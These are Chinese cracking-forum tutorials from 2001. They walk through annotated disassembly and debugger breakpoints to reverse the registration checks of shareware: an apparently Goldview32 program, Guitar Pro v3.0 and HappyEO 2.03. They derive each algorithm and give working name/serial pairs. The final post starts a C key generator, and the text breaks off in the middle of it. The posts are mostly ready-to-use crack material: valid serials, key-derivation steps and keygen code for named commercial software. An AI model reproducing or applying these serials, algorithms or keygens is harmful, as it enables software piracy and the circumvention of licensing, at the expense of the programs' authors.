004E0626 8B9314030000 mov edx, [ebx+$0314]
004E062C 8D45FC lea eax, [ebp-$04]

|
004E062F E8B445F2FF call 00404BE8
004E0634 8B45FC mov eax, [ebp-$04]

|
004E0637 E894F8FFFF call 004DFED0
004E063C 84C0 test al, al＝＝》经典的比较啊，因此在4E0637处下断。
004E063E 743C jz 004E067C
004E0640 8D55F4 lea edx, [ebp-$0C]
好的，马上运行Ollydbg，载入，运行，输入假注册码AB1234，然后在4E0637下断，点OK按钮，马上背拦下，按F7跟入。
004DFED0 55 push ebp
004DFED1 8BEC mov ebp, esp
004DFED3 33C9 xor ecx, ecx
004DFED5 51 push ecx
004DFED6 51 push ecx
004DFED7 51 push ecx
004DFED8 51 push ecx
004DFED9 51 push ecx
004DFEDA 51 push ecx
004DFEDB 53 push ebx
004DFEDC 56 push esi
004DFEDD 8945FC mov [ebp-$04], eax
004DFEE0 8B45FC mov eax, [ebp-$04]

|
004DFEE3 E89C4EF2FF call 00404D84
004DFEE8 33C0 xor eax, eax
004DFEEA 55 push ebp

* Possible String Reference to: '閹B?脬奅鸮[嬪]脥@'
|
004DFEEB 68F5FF4D00 push $004DFFF5

***** TRY
|
004DFEF0 64FF30 push dword ptr fs:[eax]
004DFEF3 648920 mov fs:[eax], esp
004DFEF6 C645FB00 mov byte ptr [ebp-$05], $00
004DFEFA 8D55EC lea edx, [ebp-$14]
004DFEFD 8B45FC mov eax, [ebp-$04]

|
004DFF00 E8DB8EF2FF call 00408DE0＝＝》取字符串"Goldview32"
004DFF05 8B55EC mov edx, [ebp-$14]
004DFF08 8D45FC lea eax, [ebp-$04]

|
004DFF0B E86C4AF2FF call 0040497C＝＝》将"Goldview32"加上我们的注册码
004DFF10 8D45F0 lea eax, [ebp-$10]所以变成"Goldview32AB1234"

|
004DFF13 E8CC49F2FF call 004048E4＝＝》转换成大写
004DFF18 8B45FC mov eax, [ebp-$04]"GOLDVIEW32AB1234"

|
004DFF1B E87C4CF2FF call 00404B9C
004DFF20 8BD8 mov ebx, eax
004DFF22 EB01 jmp 004DFF25
004DFF24 4B dec ebx
004DFF25 8B45FC mov eax, [ebp-$04] -+
004DFF28 8A4418FF mov al, byte ptr [eax+ebx-$01] |这段代码的作用是
004DFF2C 04D0 add al, -$30 |判断输入的注册码的
004DFF2E 2C0A sub al, $0A |最后几位是不是数字。
004DFF30 7304 jnb 004DFF36 |（最起码最后一位必须
004DFF32 85DB test ebx, ebx |是数字）
004DFF34 7FEE jnle 004DFF24 -+
004DFF36 8D45F0 lea eax, [ebp-$10]
004DFF39 50 push eax
004DFF3A 8B45FC mov eax, [ebp-$04]

|
004DFF3D E85A4CF2FF call 00404B9C
004DFF42 8BC8 mov ecx, eax
004DFF44 2BCB sub ecx, ebx
004DFF46 8D5301 lea edx, [ebx+$01]
004DFF49 8B45FC mov eax, [ebp-$04]

|
004DFF4C E8A34EF2FF call 00404DF4
004DFF51 8D45F4 lea eax, [ebp-$0C]
004DFF54 50 push eax
004DFF55 8B45FC mov eax, [ebp-$04]

|
004DFF58 E83F4CF2FF call 00404B9C
004DFF5D 50 push eax
004DFF5E 8B45F0 mov eax, [ebp-$10]

|
004DFF61 E8364CF2FF call 00404B9C
004DFF66 59 pop ecx
004DFF67 2BC8 sub ecx, eax
004DFF69 BA01000000 mov edx, $00000001
004DFF6E 8B45FC mov eax, [ebp-$04]

|
004DFF71 E87E4EF2FF call 00404DF4
004DFF76 33F6 xor esi, esi
004DFF78 8B45F4 mov eax, [ebp-$0C]

|
004DFF7B E81C4CF2FF call 00404B9C
004DFF80 85C0 test eax, eax
004DFF82 7E4E jle 004DFFD2
004DFF84 8B45F4 mov eax, [ebp-$0C]

|
004DFF87 E8104CF2FF call 00404B9C
004DFF8C 85C0 test eax, eax
004DFF8E 7E42 jle 004DFFD2
004DFF90 8B45F4 mov eax, [ebp-$0C]

|
004DFF93 E8044CF2FF call 00404B9C＝＝》取去掉最后几位数字的字符
004DFF98 85C0 test eax, eax 这里是GOLDVIEW32AB
004DFF9A 7E1B jle 004DFFB7
004DFF9C BB01000000 mov ebx, $00000001
004DFFA1 8B55F4 mov edx, [ebp-$0C]
004DFFA4 0FB6541AFF movzx edx, byte ptr [edx+ebx-$01]-+对GOLDVIEW32AB进行运算
004DFFA9 0FAFD3 imul edx, ebx |s="GOLDVIEW32AB":y=0
004DFFAC 6BCB0B imul ecx, ebx, $0B |for i=1 to len(s)
004DFFAF 03D1 add edx, ecx | x=asc(mid$(s,i,1))
004DFFB1 03F2 add esi, edx | x=x*i
004DFFB3 43 inc ebx | x=i*&hb+x
004DFFB4 48 dec eax | y=y+x
004DFFB5 75EA jnz 004DFFA1 -+next i
004DFFB7 8D55E8 lea edx, [ebp-$18]
004DFFBA 8BC6 mov eax, esi

|
004DFFBC E80395F2FF call 004094C4＝＝》获得最后几位是数字的字符，这里是1234
004DFFC1 8B45E8 mov eax, [ebp-$18]＝＝》eax=y＝6100
004DFFC4 8B55F0 mov edx, [ebp-$10]＝＝》edx＝1234

|
004DFFC7 E8144DF2FF call 00404CE0＝＝》比较是否相等
004DFFCC 7504 jnz 004DFFD2
004DFFCE C645FB01 mov byte ptr [ebp-$05], $01
004DFFD2 33C0 xor eax, eax
004DFFD4 5A pop edx
004DFFD5 59 pop ecx
004DFFD6 59 pop ecx
004DFFD7 648910 mov fs:[eax], edx

****** FINALLY
|

* Possible String Reference to: '奅鸮[嬪]脥@'
|
004DFFDA 68FCFF4D00 push $004DFFFC
004DFFDF 8D45E8 lea eax, [ebp-$18]
004DFFE2 BA04000000 mov edx, $00000004

|
004DFFE7 E81C49F2FF call 00404908
004DFFEC 8D45FC lea eax, [ebp-$04]

|
004DFFEF E8F048F2FF call 004048E4
004DFFF4 C3 ret

004DFFF5 E98E42F2FF jmp 00404288
004DFFFA EBE3 jmp 004DFFDF

****** END
|
004DFFFC 8A45FB mov al, byte ptr [ebp-$05]
004DFFFF 5E pop esi
004E0000 5B pop ebx
004E0001 8BE5 mov esp, ebp
004E0003 5D pop ebp
004E0004 C3 ret

到此，我们可以得到一个合法的注册码是：AB6100.


Guitar Pro v3.0

 标 题:Guitar Pro v3.0 的破文-----这一回真的破了 (12千字)
发信人:lancelot[CCG]
时 间:2001-9-14 18:33:53
详细信息:
下载：http://211.152.134.220/guitarpp/yu/GuitarPro300.zip

用 dede 找出“确定”按钮的地址 004CEC8C 用 trw2k 下断，
输入注册信息，用户名：LANCELOT[CCG] 注册码：12345-67890-434343
按确定到这里

=================================================================================================

004CEC8C 55 push ebp

...... 略 ......

* Reference to control TFLicence.Cle1 : TEdit
|
004CECC5 8B83E4020000 mov eax, [ebx+$02E4]

* Reference to: controls.TControl.GetText(TControl):System.String;<-------读取注册码的第1段
| 12345
004CECCB E81C74F6FF call 004360EC
004CECD0 FF75F8 push dword ptr [ebp-$08]
004CECD3 8D55F4 lea edx, [ebp-$0C]

* Reference to control TFLicence.Cle2 : TEdit
|
004CECD6 8B83EC020000 mov eax, [ebx+$02EC]

* Reference to: controls.TControl.GetText(TControl):System.String;<-------读取注册码的第2段
| 67890
004CECDC E80B74F6FF call 004360EC
004CECE1 FF75F4 push dword ptr [ebp-$0C]
004CECE4 8D55F0 lea edx, [ebp-$10]

* Reference to control TFLicence.Cle3 : TEdit
|
004CECE7 8B83F4020000 mov eax, [ebx+$02F4]

* Reference to: controls.TControl.GetText(TControl):System.String;<-------读取注册码的第3段
| 43434
004CECED E8FA73F6FF call 004360EC
004CECF2 FF75F0 push dword ptr [ebp-$10]
004CECF5 8D45FC lea eax, [ebp-$04]
004CECF8 BA03000000 mov edx, $00000003

* Reference to: system.@LStrCatN;<----------------------------------------连接在一起
| 123456789043434
004CECFD E8DA52F3FF call 00403FDC
004CED02 8B45FC mov eax, [ebp-$04]
004CED05 50 push eax
004CED06 8D55F8 lea edx, [ebp-$08]

* Reference to control TFLicence.Nom : TLabel
|
004CED09 8B83CC020000 mov eax, [ebx+$02CC]

* Reference to: controls.TControl.GetText(TControl):System.String;<--------读取用户名
|
004CED0F E8D873F6FF call 004360EC
004CED14 8B45F8 mov eax, [ebp-$08]
004CED17 B92C010000 mov ecx, $0000012C
004CED1C 5A pop edx

|
004CED1D E8EECC0800 call 0055BA10<-------------------------核心计算，跟进去
004CED22 84C0 test al, al
004CED24 0F8460010000 jz 004CEE8A

===============================================================================================

0055BA10 55 push ebp

...... 略 ......

* Reference to: system.@LStrLen:Integer;
| or: system.@DynArrayLength;
| or: system.DynArraySize(Pointer):Integer;
|
0055BA69 E8AE84EAFF call 00403F1C
0055BA6E 8BF0 mov esi, eax
0055BA70 85F6 test esi, esi
0055BA72 7E21 jle 0055BA95
0055BA74 B901000000 mov ecx, $00000001
0055BA79 8B45FC mov eax, [ebp-$04]
0055BA7C 0FB64408FF movzx eax, byte ptr [eax+ecx-$01]<-------用户名的第一个字 L==0x4c
0055BA81 F7E9 imul ecx<-------------------------------乘上序号
0055BA83 03F8 add edi, eax<--------------------------和加上edi中的值
0055BA85 8BC7 mov eax, edi
0055BA87 BFE8030000 mov edi, $000003E8
0055BA8C 99 cdq
0055BA8D F7FF idiv edi<-------------------------------和除去 0x3e8
0055BA8F 8BFA mov edi, edx<--------------------------余数放到edi
0055BA91 41 inc ecx
0055BA92 4E dec esi
0055BA93 75E4 jnz 0055BA79<--------------------------循环计算，用户名的13个字母
0055BA95 85FF test edi, edi
0055BA97 7505 jnz 0055BA9E
0055BA99 BF01000000 mov edi, $00000001
0055BA9E 8B45F4 mov eax, [ebp-$0C]<---------------------0x12c
0055BAA1 2DDC000000 sub eax, $000000DC<---------------------0x12c-0xdc==0x50
0055BAA6 03C7 add eax, edi<---------------------------0x50+0x15==0x65
0055BAA8 40 inc eax<--------------------------------0x65+0x1==0x66
0055BAA9 B9E8030000 mov ecx, $000003E8
0055BAAE 99 cdq
0055BAAF F7F9 idiv ecx
0055BAB1 8BFA mov edi, edx<-------------------------- 0x66
0055BAB3 8D45F0 lea eax, [ebp-$10]
0055BAB6 8B55F8 mov edx, [ebp-$08]
0055BAB9 8A520A mov dl, byte ptr [edx+$0A]<--------------注册码的第11位

* Reference to: system.@LStrFromChar(String;Char);
| or: system.@LStrFromWChar(String;WideChar);
| or: system.@WStrFromChar(WideString;Char);
| or: system.@WStrFromWChar(WideString;WideChar);
|
0055BABC E88383EAFF call 00403E44
0055BAC1 8B45F0 mov eax, [ebp-$10]
0055BAC4 50 push eax
0055BAC5 8D45EC lea eax, [ebp-$14]
0055BAC8 8B55F8 mov edx, [ebp-$08]
0055BACB 8A12 mov dl, byte ptr [edx]<--------------注册码的第1位

* Reference to: system.@LStrFromChar(String;Char);
| or: system.@LStrFromWChar(String;WideChar);
| or: system.@WStrFromChar(WideString;Char);
| or: system.@WStrFromWChar(WideString;WideChar);
|
0055BACD E87283EAFF call 00403E44
0055BAD2 8B45EC mov eax, [ebp-$14]

* Reference to: sysutils.StrToInt(System.AnsiString):System.Integer;
|
0055BAD5 E8CAD4EAFF call 00408FA4
0055BADA 8BF0 mov esi, eax
0055BADC 8D45EC lea eax, [ebp-$14]
0055BADF 8B55F8 mov edx, [ebp-$08]
0055BAE2 8A5201 mov dl, byte ptr [edx+$01]<--------------注册码的第2位

* Reference to: system.@LStrFromChar(String;Char);
| or: system.@LStrFromWChar(String;WideChar);
| or: system.@WStrFromChar(WideString;Char);
| or: system.@WStrFromWChar(WideString;WideChar);
|
0055BAE5 E85A83EAFF call 00403E44
0055BAEA 8B45EC mov eax, [ebp-$14]

* Reference to: sysutils.StrToInt(System.AnsiString):System.Integer;
|
0055BAED E8B2D4EAFF call 00408FA4
0055BAF2 03F0 add esi, eax<--------------注册码的第1，2位之和
0055BAF4 8BC6 mov eax, esi
0055BAF6 F7EF imul edi<-------------------乘上0x66
0055BAF8 B90A000000 mov ecx, $0000000A<--------除与 0xa
0055BAFD 99 cdq
0055BAFE F7F9 idiv ecx
0055BB00 8BC2 mov eax, edx<-------------余数放在eax
0055BB02 8D55EC lea edx, [ebp-$14]

* Reference to: sysutils.IntToStr(System.Integer):System.AnsiString;overload;
|
0055BB05 E836D4EAFF call 00408F40
0055BB0A 8B55EC mov edx, [ebp-$14]
0055BB0D 58 pop eax

* Reference to: system.@LStrCmp;<-------------------------------余数在与注册码的第10位比较
|
0055BB0E E81985EAFF call 0040402C
0055BB13 0F8596010000 jnz 0055BCAF<-------------不相等就完蛋了下面循环计算略

=================================================================================================

总结一下：

1) 用户名：LANCELOT[CCG]==>0x4c,0x41,0x4e,0x43,0x45,0x4c,0x4f,0x54,0x5b,0x43,0x43,0x47,0x5d
2) (0x4c*0x1+0x0 ) % 0x3e8==0x4c
(0x41*0x2+0x4c ) % 0x3e8==0xce
(0x4e*0x3+0xce ) % 0x3e8==0x1b8
(0x43*0x4+0x1b8) % 0x3e8==0x2c4
(0x45*0x5+0x2c4) % 0x3e8==0x35
(0x4c*0x6+0x35 ) % 0x3e8==0x1fd
(0x4f*0x7+0x1fd) % 0x3e8==0x3e
(0x54*0x8+0x3e ) % 0x3e8==0x2de
(0x5b*0x9+0x2de) % 0x3e8==0x229
(0x43*0xa+0x229) % 0x3e8==0xdf
(0x43*0xb+0xdf ) % 0x3e8==0x3c0
(0x47*0xc+0x3c0) % 0x3e8==0x32c
(0x5d*0xd+0x32c) % 0x3e8==0x15<-------这个值如果为0，就用1代入
3) (0x12c-0xdc+0x15+0x1) % 0x3e8==0x66
4) 注册码：123456789043434
5) ((0x1+0x2)*0x66) % 0xa==0x6<----------注册码的第11位
((0x3+0x4)*0x66) % 0xa==0x4<----------注册码的第12位
((0x5+0x6)*0x66) % 0xa==0x2<----------注册码的第13位
((0x7+0x8)*0x66) % 0xa==0x0<----------注册码的第14位
((0x9+0x0)*0x66) % 0xa==0x8<----------注册码的第15位

所以：

用户名：LANCELOT[CCG] 注册码： 12345-67890-64208<--------完了吗，还没有
==========================================================================================
用这个注册码会有NAG，recently open file 无法显示，主界面上有错误提示，也就是说这册码的前10位不是任意的。
估计程序将注册码的前10位，换算后当作给主界面和NAG窗口的Message......
修改了几次注册码后得知：注册码的第10位如果为0，主界面上有错误提示，
不为0则主界面一闪就消失了，注册码第9位却可以任意。
于是就输入 用户名: LANCELOT[CCG] 注册码：12345-67818-64208
这一次一进入主画面，马上就退出。
其后跟踪多日无果......
今天突然想到，程序要退出，应该会调用 PostQuitMessage 的API，于是下中断 bpx postquitmessage
用 W32Dasm + trw2k 不断的找啊找啊，在 :00566549 mov eax,dword ptr [ebp-08] 的地方，
习惯性的下 d *(ebp-08)，看到了什么，“12345678”
==============================================================================================

:00566535 8BC6 mov eax, esi<------------0x12c
:00566537 2DDC000000 sub eax, 000000DC<-------0x12c-0xdc==0x50
:0056653C 03C7 add eax, edi<------------0x50+0x15==0x65
:0056653E 40 inc eax<-----------------0x65+1==0x66
:0056653F B9E8030000 mov ecx, 000003E8
:00566544 99 cdq
:00566545 F7F9 idiv ecx
:00566547 8BFA mov edi, edx<------------0x66
:00566549 8B45F8 mov eax, dword ptr [ebp-08]<------12345678 似曾相识哦
:0056654C E8532AEAFF call 00408FA4<--------------------转换成16进制
:00566551 8945B8 mov dword ptr [ebp-48], eax<------0xbc614e
:00566554 DB45B8 fild dword ptr [ebp-48]
:00566557 897DB4 mov dword ptr [ebp-4C], edi<------0x66
:0056655A DB45B4 fild dword ptr [ebp-4C]
:0056655D DEF9 fdivp st(1), st(0)<---------------0xbc614e/0x66==0x1d8cc
:0056655F E8F8C5E9FF call 00402B5C
:00566564 8BD8 mov ebx, eax
:00566566 81FBA0860100 cmp ebx, 000186A0<----------------要大于或等于0x186a0
:0056656C 7C23 jl 00566591
:0056656E 8B45F8 mov eax, dword ptr [ebp-08]<------
:00566571 E82E2AEAFF call 00408FA4 |
:00566576 8945B8 mov dword ptr [ebp-48], eax | 这一段的意思是
:00566579 DB45B8 fild dword ptr [ebp-48] | 注册码的前8位
:0056657C 897DB4 mov dword ptr [ebp-4C], edi | 转换成16进制后的
:0056657F DB45B4 fild dword ptr [ebp-4C] | 数要能被0x66整除
:00566582 DEF9 fdivp st(1), st(0) |<--至于0x66重何而来
:00566584 895DB0 mov dword ptr [ebp-50], ebx | 请看上面的第一次总结
:00566587 DB45B0 fild dword ptr [ebp-50] |
:0056658A DED9 fcompp |
:0056658C DFE0 fstsw ax |
:0056658E 9E sahf |
:0056658F 740A je 0056659B<-----------------------
===============================================================================================
再总结一下：(这个人怎么这么喜欢总结)
假设：注册码的前8位转换成16进制后的值为 x 则 x/0x66 要能整除，其商要不小于 0x186a0
偷懒一下 0x186a0*0x66==0x9ba3c0==10200000

于是用户名：LANCELOT[CCG] 注册码：102000001824008

搞定，好累啊，用了整整4个晚上，走了不少弯路。

Crack by lancelot[CCG][FCG] 2001.09.14


HappyEO电子琴203版

 标 题:破解HappyEO电子琴203版的注册码。 (7千字)
发信人:大波罗
时 间:2001-9-28 18:14:04
详细信息:
HappyEO电子琴的新版本2.40中，注册码可以直接从内存中找到，而在HappyEO203这个老版本中，却要通过计算才能得出，不知道作者是怎么想的，算法比较简单，很适合初学者学习，有兴趣的朋友可以拿它来练手，我们开始吧：
1. 运行TRW2K
2. 用户名输入：wdfdiablo 注册码：7878787878
3. 下断bpx hmemcpy，后回到主程序，点注册，被拦下，用bd *清除断点，下pmodule回到HappyEO的领空，按F10数次，来到：
:51084189 E8F2FCF7FF call 51003E80
:5108418E 8D85C0FEFFFF lea eax, dword ptr [ebp+FFFFFEC0]
:51084194 50 push eax
:51084195 8D95B8FDFFFF lea edx, dword ptr [ebp+FFFFFDB8]
:5108419B A1D4630D51 mov eax, dword ptr [510D63D4]
:510841A0 8B00 mov eax, dword ptr [eax]
:510841A2 8B80D0020000 mov eax, dword ptr [eax+000002D0]
:510841A8 E89BCDFAFF call 51030F48
:510841AD 8B95B8FDFFFF mov edx, dword ptr [ebp+FFFFFDB8]
:510841B3 8D85BCFDFFFF lea eax, dword ptr [ebp+FFFFFDBC]
:510841B9 B9FF000000 mov ecx, 000000FF
:510841BE E8BDFCF7FF call 51003E80
:510841C3 8D85BCFDFFFF lea eax, dword ptr [ebp+FFFFFDBC] ；D EAX，看见wdfdiablo
:510841C9 5A pop edx ；D EDX，看见7878787878
:510841CA E881EEFFFF call 51083050 ；算注册码的CALL，F8进入
:510841CF 84C0 test al, al
:510841D1 0F849C000000 je 51084273 ；若al为0，则注册失败
:510841D7 A188600D51 mov eax, dword ptr [510D6088]
:510841DC C60001 mov byte ptr [eax], 01
:510841DF 8D95B4FDFFFF lea edx, dword ptr [ebp+FFFFFDB4]
:510841E5 A1D4630D51 mov eax, dword ptr [510D63D4]
:510841EA 8B00 mov eax, dword ptr [eax]

进入算注册码的CALL：
* Referenced by a CALL at Address:
|:510841CA
|
:51083050 53 push ebx
:51083051 56 push esi
:51083052 57 push edi ；保存现场
:51083053 83C4CC add esp, FFFFFFCC
:51083056 8BF2 mov esi, edx ；EDX=.7878787878，其中的“.”是0xA，即注册码的位数为10位
:51083058 8D3C24 lea edi, dword ptr [esp]
:5108305B 33C9 xor ecx, ecx ；计数器清0
:5108305D 8A0E mov cl, byte ptr [esi] ；将注册码位数放入cl
:5108305F 80F908 cmp cl, 08 ；位数是否大于8
:51083062 7202 jb 51083066 ；不大于则开始下一步
:51083064 B108 mov cl, 08 ；若大于8，则只取前8位

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:51083062(C)
|
:51083066 880F mov byte ptr [edi], cl ；将位数放在EDI所指位址中
:51083068 46 inc esi ；指向注册码第一位
:51083069 47 inc edi ；指向存放注册码最后一位的下一位址
:5108306A F3A4 repz movsb ；将ESI位址内的内容挎贝到EDI所指位址上，每次取1个Byte，共循环8次（cl=8），即78787878
:5108306C 8BF0 mov esi, eax ；D ESI=.wdfdiablo，其中的“.”是0x9，即用户名的位数为9位

:5108306E 8D7C240A lea edi, dword ptr [esp+0A] ；
:51083072 33C9 xor ecx, ecx ；计数器清0
:51083074 8A0E mov cl, byte ptr [esi]
:51083076 80F928 cmp cl, 28
:51083079 7202 jb 5108307D
:5108307B B128 mov cl, 28 ；若用户名位数大于40位，则只取40位

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:51083079(C)
|
:5108307D 880F mov byte ptr [edi], cl
:5108307F 46 inc esi
:51083080 47 inc edi
:51083081 F3A4 repz movsb ；同上，挎贝用户名
:51083083 C644240900 mov [esp+09], 00
:51083088 8A44240A mov al, byte ptr [esp+0A] ；将用户名位数放入al
:5108308C 3C04 cmp al, 04 ；用户名位数是否为4
:5108308E 723D jb 510830CD ；小于则注册失败
:51083090 803C2408 cmp byte ptr [esp], 08 ；注册码位数是否为8
:51083094 7537 jne 510830CD ；小于则注册失败
:51083096 33C9 xor ecx, ecx ；计数器清0
:51083098 25FF000000 and eax, 000000FF ；将EAX高16位清0，即EAX=9（用户名位数）
:5108309D 85C0 test eax, eax
:5108309F 7E0C jle 510830AD ；EAX若为0，则注册失败
:510830A1 8D54240B lea edx, dword ptr [esp+0B] ；EDX指向用户名第一个字母

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:510830AB(C)
|
:510830A5 8A1A mov bl, byte ptr [edx] ；取用户名第一个字母“w”
:510830A7 02CB add cl, bl ；将“w”的ASCII值加入cl
:510830A9 42 inc edx ；指向用户名下一个字母“d”
:510830AA 48 dec eax ；用户名位数减1
:510830AB 75F8 jne 510830A5 ；共循环9次，将所有用户名字母的ASCII和相加放
入cl，注意，因cl是8个位，故总和只取低8位，即1个字节，
这里得出cl=0xAC
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:5108309F(C)
|
:510830AD 33D2 xor edx, edx ；EDX初始化为0
:510830AF 33C0 xor eax, eax ；EAX初始化为0
:510830B1 8A0424 mov al, byte ptr [esp] ；注册码位数放al，al=8
:510830B4 85C0 test eax, eax ；以下和算用户名的方法相同，不再赘述
:510830B6 7E0C jle 510830C4
:510830B8 8D742401 lea esi, dword ptr [esp+01]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:510830C2(C)
|
:510830BC 8A1E mov bl, byte ptr [esi]
:510830BE 02D3 add dl, bl
:510830C0 46 inc esi
:510830C1 48 dec eax
:510830C2 75F8 jne 510830BC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:510830B6(C)
|
:510830C4 3AD1 cmp dl, cl ;用户名每个字母ACSII值的和与假注册码每个ASCII的和的低8位作比较
:510830C6 7505 jne 510830CD ；若不正确则注册失败
:510830C8 C644240901 mov [esp+09], 01 ；注册成功的标志

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:5108308E(C), :51083094(C), :510830C6(C)
|
:510830CD 8A442409 mov al, byte ptr [esp+09] ；返回的al值为1
:510830D1 83C434 add esp, 00000034
:510830D4 5F pop edi
:510830D5 5E pop esi
:510830D6 5B pop ebx ；恢复算注册码前的现场，返回主程序
:510830D7 C3 ret

可以看出，注册码有很多，只要满足最后的比较条件即可，这里我算出一个：
用户名：wdfdiablo 注册码：55555559

大波罗破解
我的主页http://wdfdiablo.myetang.com
转载请保持完整，谢谢。
2001.9.20

标 题:搞定！HappyEO203的注册码算法和注册机（经整理后献给和我一样迷茫的初学者） (8千字)
发信人:大波罗
时 间:2001-9-28 23:43:17
详细信息:

HappyEO203的注册码算法和注册机

HappyEO电子琴的新版本2.40中，注册码可以直接从内存中找到，而在HappyEO203这个老版本中，却要通过计算才能得出，不知道作者是怎么想的，算法比较简单，很适合初学者学习，我作了详细的解释，有兴趣的朋友可以拿它来练手，我们开始吧：
1. 运行TRW2K
2. 用户名输入：wdfdiablo 注册码：7878787878
3. 下断bpx hmemcpy，后回到主程序，点注册，被拦下，用bd *清除断点，下pmodule回到HappyEO的领空，按F10数次，来到：
:51084189 E8F2FCF7FF call 51003E80
:5108418E 8D85C0FEFFFF lea eax, dword ptr [ebp+FFFFFEC0]
:51084194 50 push eax
:51084195 8D95B8FDFFFF lea edx, dword ptr [ebp+FFFFFDB8]
:5108419B A1D4630D51 mov eax, dword ptr [510D63D4]
:510841A0 8B00 mov eax, dword ptr [eax]
:510841A2 8B80D0020000 mov eax, dword ptr [eax+000002D0]
:510841A8 E89BCDFAFF call 51030F48
:510841AD 8B95B8FDFFFF mov edx, dword ptr [ebp+FFFFFDB8]
:510841B3 8D85BCFDFFFF lea eax, dword ptr [ebp+FFFFFDBC]
:510841B9 B9FF000000 mov ecx, 000000FF
:510841BE E8BDFCF7FF call 51003E80
:510841C3 8D85BCFDFFFF lea eax, dword ptr [ebp+FFFFFDBC] ；D EAX，看见wdfdiablo
:510841C9 5A pop edx ；D EDX，看见7878787878
:510841CA E881EEFFFF call 51083050 ；算注册码的CALL，F8进入
:510841CF 84C0 test al, al
:510841D1 0F849C000000 je 51084273 ；若al为0，则注册失败
:510841D7 A188600D51 mov eax, dword ptr [510D6088]
:510841DC C60001 mov byte ptr [eax], 01
:510841DF 8D95B4FDFFFF lea edx, dword ptr [ebp+FFFFFDB4]
:510841E5 A1D4630D51 mov eax, dword ptr [510D63D4]
:510841EA 8B00 mov eax, dword ptr [eax]

进入算注册码的CALL：
* Referenced by a CALL at Address:
|:510841CA
|
:51083050 53 push ebx
:51083051 56 push esi
:51083052 57 push edi ；保存现场
:51083053 83C4CC add esp, FFFFFFCC
:51083056 8BF2 mov esi, edx ；EDX=.7878787878，其中的“.”是0xA，即注册码的位数为10位
:51083058 8D3C24 lea edi, dword ptr [esp]
:5108305B 33C9 xor ecx, ecx ；计数器清0
:5108305D 8A0E mov cl, byte ptr [esi] ；将注册码位数放入cl
:5108305F 80F908 cmp cl, 08 ；位数是否大于8
:51083062 7202 jb 51083066 ；不大于则开始下一步
:51083064 B108 mov cl, 08 ；若大于8，则只取前8位

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:51083062(C)
|
:51083066 880F mov byte ptr [edi], cl ；将位数放在EDI所指位址中
:51083068 46 inc esi ；指向注册码第一位
:51083069 47 inc edi ；指向存放注册码最后一位的下一位址
:5108306A F3A4 repz movsb ；将ESI位址内的内容挎贝到EDI所指位址上，每次取1个Byte，共循环8次（cl=8），即78787878
:5108306C 8BF0 mov esi, eax ；D ESI=.wdfdiablo，其中的“.”是0x9，即用户名的位数为9位

:5108306E 8D7C240A lea edi, dword ptr [esp+0A]
:51083072 33C9 xor ecx, ecx ；计数器清0
:51083074 8A0E mov cl, byte ptr [esi]
:51083076 80F928 cmp cl, 28
:51083079 7202 jb 5108307D
:5108307B B128 mov cl, 28 ；若用户名位数大于40位，则只取40位

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:51083079(C)
|
:5108307D 880F mov byte ptr [edi], cl
:5108307F 46 inc esi
:51083080 47 inc edi
:51083081 F3A4 repz movsb ；同上，挎贝用户名
:51083083 C644240900 mov [esp+09], 00
:51083088 8A44240A mov al, byte ptr [esp+0A] ；将用户名位数放入al
:5108308C 3C04 cmp al, 04 ；用户名位数是否为4
:5108308E 723D jb 510830CD ；小于则注册失败
:51083090 803C2408 cmp byte ptr [esp], 08 ；注册码位数是否为8
:51083094 7537 jne 510830CD ；小于则注册失败
:51083096 33C9 xor ecx, ecx ；计数器清0
:51083098 25FF000000 and eax, 000000FF ；将EAX高16位清0，即EAX=9（用户名位数）
:5108309D 85C0 test eax, eax
:5108309F 7E0C jle 510830AD ；EAX若为0，则注册失败
:510830A1 8D54240B lea edx, dword ptr [esp+0B] ；EDX指向用户名第一个字母

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:510830AB(C)
|
:510830A5 8A1A mov bl, byte ptr [edx] ；取用户名第一个字母“w”
:510830A7 02CB add cl, bl ；将“w”的ASCII值加入cl
:510830A9 42 inc edx ；指向用户名下一个字母“d”
:510830AA 48 dec eax ；用户名位数减1
:510830AB 75F8 jne 510830A5 ；共循环9次，将所有用户名字母的ASCII和相加放
入cl，注意，因cl是8个位，故总和只取低8位，即1个字节，这里得出cl=0xAC
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:5108309F(C)
|
:510830AD 33D2 xor edx, edx ；EDX初始化为0
:510830AF 33C0 xor eax, eax ；EAX初始化为0
:510830B1 8A0424 mov al, byte ptr [esp] ；注册码位数放al，al=8
:510830B4 85C0 test eax, eax ；以下和算用户名的方法相同，不再赘述
:510830B6 7E0C jle 510830C4
:510830B8 8D742401 lea esi, dword ptr [esp+01]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:510830C2(C)
|
:510830BC 8A1E mov bl, byte ptr [esi]
:510830BE 02D3 add dl, bl
:510830C0 46 inc esi
:510830C1 48 dec eax
:510830C2 75F8 jne 510830BC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:510830B6(C)
|
:510830C4 3AD1 cmp dl, cl ;用户名每个字母ACSII值的和与假注册码每个ASCII的和的低8位作比较
:510830C6 7505 jne 510830CD ；若不正确则注册失败
:510830C8 C644240901 mov [esp+09], 01 ；注册成功的标志

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:5108308E(C), :51083094(C), :510830C6(C)
|
:510830CD 8A442409 mov al, byte ptr [esp+09] ；返回的al值为1
:510830D1 83C434 add esp, 00000034
:510830D4 5F pop edi
:510830D5 5E pop esi
:510830D6 5B pop ebx ；恢复算注册码前的现场，返回主程序
:510830D7 C3 ret

可以看出，注册码有很多，只要满足最后的比较条件即可，这里我算出一个：
用户名：wdfdiablo 注册码：55555559

下面是C写的注册机：
#include <stdio.h>
#include <stdlib.h>
main()
{
int var1=0;
int var2=0;
int n=0;
int b,i,num;
char username[40];
int result[7];
printf("******** The HappyEO203 cracked by wdfdiablo ********\n");
printf("******** http://wdfdiablo.myetang.com ***************\n");
printf("please enter your name:");
gets(username);
for(num=0;username[num]!='\0';++num)
{ b=username[num];
